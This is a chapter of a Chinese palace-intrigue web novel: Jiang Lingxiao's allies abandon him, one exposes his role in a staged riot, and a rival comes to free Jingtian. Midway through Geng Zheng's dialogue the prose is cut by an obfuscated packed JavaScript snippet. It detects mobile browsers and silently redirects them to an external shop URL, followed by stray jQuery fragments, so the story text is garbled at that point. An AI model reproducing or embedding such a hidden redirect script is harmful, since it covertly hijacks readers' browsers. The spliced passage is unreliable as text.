国丧发布，白幡和白灯笼挂满了京城的大街小巷，哀伤的气氛中酝酿着某种爆发前的压抑。


    竞安府更是得人人披麻戴孝，孝服做多出一套，管家和裁缝吵起来。


    “你就是做多了。”


    “你人数给多了。”


    丫鬟提醒管家：“大爷，裁缝没做错数，是白眉老太不见了。”


    姜凌嚣路过，驻足：“什么叫不见了？”


    丫鬟吃惊：“驸马，白眉大娘离府有段日子了，您不知道？我还以为是您派她出远门了，就没说。”


    姜凌嚣：“什么时候的事？”


    丫鬟回忆：“沈大人去世后不久，老太太就走了。”


    白眉老太的屋子，府上提供的物品整整齐齐摆放着，只她自己的物品不见了，走得彻底干净，仿佛从未有过此人。


    显而易见，白眉为义结金兰的姜溯仙报完仇，心结已了，她决不眷恋功利，无迹可寻。


    才痛失左膀，掌柜吕富全和账房又一同前来辞行。


    姜凌嚣皱眉：“好好的，怎么不打算干了？”


    账房：“东家，我哥嫂年纪大了，又没了儿子，我回老家好有个照应。”


    姬家炼丹房爆炸炸死了账房侄子，属因工丧命，姜凌嚣为丧子父母在老家买了一百亩地，老两口做了地主，后半生衣食无忧。


    姜凌嚣拍拍账房胳膊：


    “乡下比不得城里，病了只能看乡野郎中。今后哥嫂身体不适，可以进京来看太医，你留下，他们才是有个照应。”


    “······”账房找不到反驳，只好眼神求救吕富全。


    不及吕富全开口，姜凌嚣先发制人：


    “朱帝驾崩了，玄虎堂嫌疑解除，不日将会开业，你们商量好都不干了，是要拆我姜某的台吗？”


    吕富全连忙摆手：


    “东家何出此言，我只是受过伤后，脑袋不灵光了，不适合担当掌柜重任了，还望另请高明······”


    姜凌嚣：“我再给你买座三进三出的大宅。”


    自吕富全做了玄虎堂掌柜后，家里老小每月都有柜上分红，已是京城所有药店都没有的待遇。


    吕富全急了：“我不是来跟您要钱！”


    姜凌嚣轻笑：“那是为了什么？”


    吕富全挥手支走账房，沉重低落：


    “东家，商会同僚过世后，您探望过他们遗属吗？”


    姜凌嚣怔住。


    “暴民事件”里，枉死的几名同僚，全是自己打入死牢时，为自己奔走的正义之士。


    他忘记了恩人，很久了。


    吕富全盯紧姜凌嚣的表情，失望：


    “二月二为百姓免费剃头，本是善事，怎会突然成了聚众暴乱？”


    姜凌嚣：“是有个男孩拿剃刀杀了姬无心的马。”


    “那孩子顶多五岁，站在凳子上不一定够得着马头，说他杀了姬无心的马，您信吗？”


    姜凌嚣终于察觉出吕富全的不对劲，努力挤出个悲伤：


    “姬无心位高权重，当时在查一宗失窃案，他是执行公务，妨碍公务本就是罪，杀马罪行更大。


    就算我们不信，也难阻止那场灾难。”


    “那是赤裸裸的人祸。”吕富全冷笑：“我清楚看到真正拿刀抹了马脖子的人。”


    姜凌嚣脸色骤变：“谁？”


    吕富全肯定：“也是个男孩，不过这个男孩大了点，孙大可。”


    姜凌嚣冷血倒流：“······他？怎么会是他？”


    “是啊，孙大可是个极精明的孩子，我爱才，一手带着他从小伙计升到二柜。我也想不到，人会变得面目全非。”


    以为那次谋划万无一失，还是被窥破了。姜凌嚣极力撇清：“从未想到孙大可······”


    吕富全少有的大动干戈激动：


    “东家，您真的不知道吗？您要不知道，我这就去报官，还枉死百姓一个清白！”


    “我怎么会知道？”姜凌嚣努力让自己冷静下来，“先别声张，皇帝驾崩突然，官场震荡，并不合适此时······你等我想办法查明······”


    吕富全苦笑一声，郑重比个“告辞”手势，转身离去，没有回一次头。


    他后脑勺上的疤痕，醒目的像个鸿沟，再无可能逾越。


    身边干将接两连三弃自己而去，姜凌嚣生出的不是伤心，而是愤怒。


    曾经落魄，找不到真凶时，这些人齐心协力凝聚在自己周围，如今拨云见日识破真凶，最需要人手时，这些人却背叛了自己。


    吕富全不是嫌弃他忘恩负义吗？


    呵，他还有最精锐的耿正和沈丘染，维护好了，照样能把新帝拉下马。


    姜凌嚣买了一只猎犬，准备送给残障的沈丘染作伴。


    刚拐进后院，眼前奇景震的姜凌嚣止步，观望。


    耿正推着轮椅，教沈丘染怎样使用。轮椅是他亲手打的，十分精巧。


    沈丘染看起来满意、欢快，不像个新瘸子该有的颓废、堕落、自暴自弃。


    沈丘染：“今后我还是拄拐锻炼。累了，或者想去远点的地方，就坐轮椅。”


    耿正不置可否一笑，笑的姜凌嚣浑身不自在——耿正做了那么多见不得人的事，和一心建功立业、追求清清白白的人搅合在一起，隐患巨大。


    “哎？驸马！”沈丘染转过轮椅。


    耿正抬头看到姜凌嚣，瞬间敛笑。


    无论是没被叫“三哥”，还是耿正的反应，都让姜凌嚣黑沉的脸上难以挂笑。


    他将狗绳牵给沈丘染，叮嘱几句喂养事项，酸不溜丢丢下一句“你们忙”，就出了后巷。


    刚走到迂回的走廊，身后传来耿正的声音：“我找你有事。”


    姜凌嚣回身，审视着耿正。


    耿正似乎衰老得更厉害了，面皮被风霜凝固成一个皱巴巴的面具，说话时，对面的人能听见声音，不见面具动弹：


    “我要走了。”


    “哈——”，姜凌嚣不知道自己是不是气笑了，反正今天似乎任何人都要滚蛋。


    姜凌嚣一步一步逼近耿正，一字一句：


    “走？仇还没报！难道，你忘了我外祖的救命之恩了吗？”


    耿正铁了心：“朱帝已驾崩，我的使命结束了。”


    “不，真正的凶手不是朱桢本，是当今皇帝！”


    耿正从鼻底哼笑出来：


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137696|186002||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “一次次的侥幸逃脱，你上瘾了，早就不是为了报仇，是为了自己夺权当皇帝吧？”


    姜凌嚣使出杀手锏：


    “天牢刺杀于克明时，你不在。南下毒杀姬有才后，你回京迟了十天半月。你以为你消失的日子，我不知道你干什么去了吗？”


    耿正咬牙切齿，目露凶光。


    姜凌嚣得逞一笑，从下眼皮看人：


    “曾经你的复仇故事没讲完。


    大峪国唯一的女捕快耿一，父母领走她尸体后，尸体产下一名女婴。


    女婴活了下来，得有二十岁了，是吗？”


    “你派人查我？！”耿正暴怒，揪住姜凌嚣衣襟：“我就只有这一个亲人，我为她而活，你要是敢动她一根毫毛，别怪我翻脸不认人！”


    姜凌嚣猛地拽回衣襟，理平：


    “多心了，我只是提醒你，如今乱世不太平，为了她，你多存些钱，好让她余生安康富足。”


    耿正气势汹汹提着绷紧的老拳，掉头就走。


    姜凌嚣蔑笑着转身。


    烈日发白，廊上郁郁葱葱的绿丝垂绦被照的像奔流，背道而驰的两人像漂浮的木筏，拐向不同的目的地。


    夜，府门作响，闪进一个身影，门房看清来人，正要激动大喊姜凌嚣时，被捂住了嘴。


    林执缨低声：“嘘，我自己进去给他个惊喜。”


    说是找姜凌嚣，一路小跑在府，却是最怕撞见他。


    正房里必是住着竞天，林执缨顾及姜凌嚣很可能也在，便舔了手指，无声捅开窗纸，窥视房内。


    只有竞天自己，坐在梳妆镜前蓖头，没有任何被囚禁的瑟缩恐慌。


    过了半天，也不见姜凌嚣进门睡觉。


    林执缨进门时，竞天惊地站起来：“你醒了？”


    躺在新帝怀中，单方面认竞天为姐姐时，竞天并不在场，林执缨也没觉得煽情。


    现在面对面，没有基础的姐妹情，又是在自己当初想住没住上的屋子里，情敌的刺挠感占了上风。


    林执缨对竞天的感觉，十分复杂，不知道怎样寒暄，只会开门见山：“皇上让我来救你。”


    竞天难以置信地盯着对面赤诚的双眼，“噗嗤”一笑。


    救？


    对面这个傻妞，蹑手蹑脚，郑重其事的样子，显然是为了避开“绑架凶手”。


    被新帝收买成死忠，连姜凌嚣都不敢相信了。


    竞天收笑：“你打算怎样救我？”


    林执缨跟在竞天身后，亦步亦趋，真挚：“外面有辆马车，我带你走。”


    竞天眼中软了一下，抚住林执缨的脸庞：“避免闹出动静，你先出去，我随后就来。”


    贴脸的温柔，很像林紫玉给予的熟悉，林执缨与竞天的隔阂，瞬间消弭。


    林执缨刚潜出堂屋，竞天就推开厢房门：“你一直等的那个人，要带我回宫。”


    姜凌嚣忙将一件穿旧的女式红杉藏进被子里，无枕边人的夜里，就这样反反复复睹物思人。


    她回来了，却不见他。


    姜凌嚣以为竞天有诈，皱眉：“回宫？怎会用回？她又不是宫里的人。”


    竞天开怀大笑：“无他，她背叛了你。”